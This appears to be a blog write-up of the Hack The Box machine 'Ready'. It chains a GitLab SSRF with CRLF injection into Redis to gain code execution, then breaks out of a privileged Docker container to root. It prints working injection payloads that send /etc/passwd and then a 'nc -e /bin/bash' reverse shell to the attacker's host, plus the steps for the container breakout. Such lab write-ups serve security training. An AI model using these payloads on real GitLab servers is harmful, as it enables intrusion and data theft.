Hack The Box — Ready Writeup

Ready is a medium difficulty Linux machine from Hack The Box that features a self-hosted GitLab instance which is vulnerable to a remote code execution by chaining two CVEs. And that allows me to gain a foothold on a container. Enumerating inside the container finds a password that is reused by the container root account. The container is found to be running in privileged mode, and this can be exploited by mounting the host’s drive (the Linux filesystem) to the container.

Raw notes available on my GitHub.

Reconnaissance

All ports scan with nmap discovers two open ports: SSH on port 22, and a HTTP web server on port 5080

nmap -p- -sV --reason -oA nmap/10-initial-ready 10.10.10.220

After performing a default script scan, it shows there’s a GitLab instance on port 5080.

nmap -p22,5080 -sC -sV --reason -oA nmap/10-default-ready 10.10.10.220

Enumeration

The page displays a self-hosted GitLab Community Edition.

I can register with any email domain.

The GitLab version can be seen by visiting/help, and it seems to be an outdated one.

I’ll take a note on the version.

I can feed the GitLab version to searchsploit, and it returns with two exploits that match with the version.

searchsploit GitLab 11.4.7

Foothold

The RCE exploit that was popped on searchsploit above is consist of two vulnerabilities, SSRF (CVE-2018-19571) and CRLF Injection (CVE-2018-19585). The exploit’s author uses the LifeOverFlow’s blog post as reference, and so I decided to read that blog and try to reproduce it here.

With SSRF, you can talk with the internal Redis server on port 6379 that used by GitLab as database, cache and message broker. If there is an HTTP request sent to the Redis server using SSRF, the request would read as follows (# ==> is a comment by me):

GET blablabla HTTP/1.1 # ==> Redis read this as a command
Host: [0:0:0:0:0:ffff:127.0.0.1]:6379
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache ​
- Err wrong number of arguments for 'get' command

The idea here is to use the CRLF Injection to insert a payload after the ‘GET’ line.

For this, I’ll need BurpSuite turned on.

On GitLab, I’ll import a (non-exist) project and choose the “Repo by URL” menu.

I’ll be using the same SSRF payload to bypass the GitLab URL filter which is git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ and add my (non-exist) .git repository at the end of the URL, so it becomes: git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/ssrf-test.git

The repository URL above is a special IPv6 address where its last 32 bits is used to embed the IPv4 address. The URL was used to bypass the SSRF protection defined in spec/lib/gitlab/url_blocker_spec.rb (patched in 11.4.8)

I’ll intercept the request after I hit the “Create Project” button, and then on BurpSuite, I’ll modify the import URL to this:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multi
sadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec
exec
/ssrf-test.git

The HTTP request now looks like this:

After I hit the send button, my nc listener caught the file contents of /etc/passwd.

Here is the all in one image:

From here, I’ll reproduce the step above, but this time I’ll send myself a shell. The payload as follows.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multi
sadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|nc -e /bin/bash 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec
exec
/ssrf-to-rce.git

On my nc listener:

I’ll do the ‘stty’ trick to upgrade my shell.

python3 -c 'import pty.pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm

On /home, there is only one user called dude, and I'm able to read the user flag there.

Privilege Escalation

I found a .dockerenv on the root directory which indicates that I'm inside container, and there is also a file called root_pass.

The content of root_pass is a random string, which I think it is a password. I tried it to the user and root account but it didn't work.

git@gitlab:/opt/backup$ cat /root_pass 
YG65407Bjqvv9A0a8Tm_7w

Exploring on /opt, I found a folder called backup. The folder contains three files: docker-compose.yml, gitlab-secrets.json and gitlab.rb.

Upon performing a recursive grep to search for files containing a “pass” string inside the folder, I discovered an SMTP password on gitlab.rb.

git@gitlab:/opt/backup$ grep -Ri "pass"

Looking into docker-compose.yml, I see a potential vector for container breakout.

The password wW59U!ZKMbG9+*#h works on the container root account.

git@gitlab:/opt/gitlab$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)

Based on the docker-compose.yml file, I suspect the container is running with privileged flag. According to my favorite blog, which is BookHackTrick, a container with privileged flag will have access to the host devices.

Although, --privileged gives all the Linux capabilities, I'll still check it manually to make sure I have access to the host devices.

root@gitlab:/opt/gitlab# capsh --print

There is a CAP_SYS_ADMIN! With this capability, I'm able to mount the host devices and make it available on the container.

I can list all the host devices with fdisk -l.

Now I can simply mount the Linux filesystem (/dev/sda2) to my specified folder.

The root user of the host has SSH keys, I’ll grab only the private key to my machine.

After changing the key permissions to 600, I can login as root user.

ssh -i root_rsa root@10.10.10.220

I can also grab the root flag.

Originally published at: https://fahmifj.github.io/writeups/hackthebox/htb-ready/

I mostly write about CTF solutions and other IT related stuff that others might find useful | Partially moving to: https://fahmifj.github.io

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store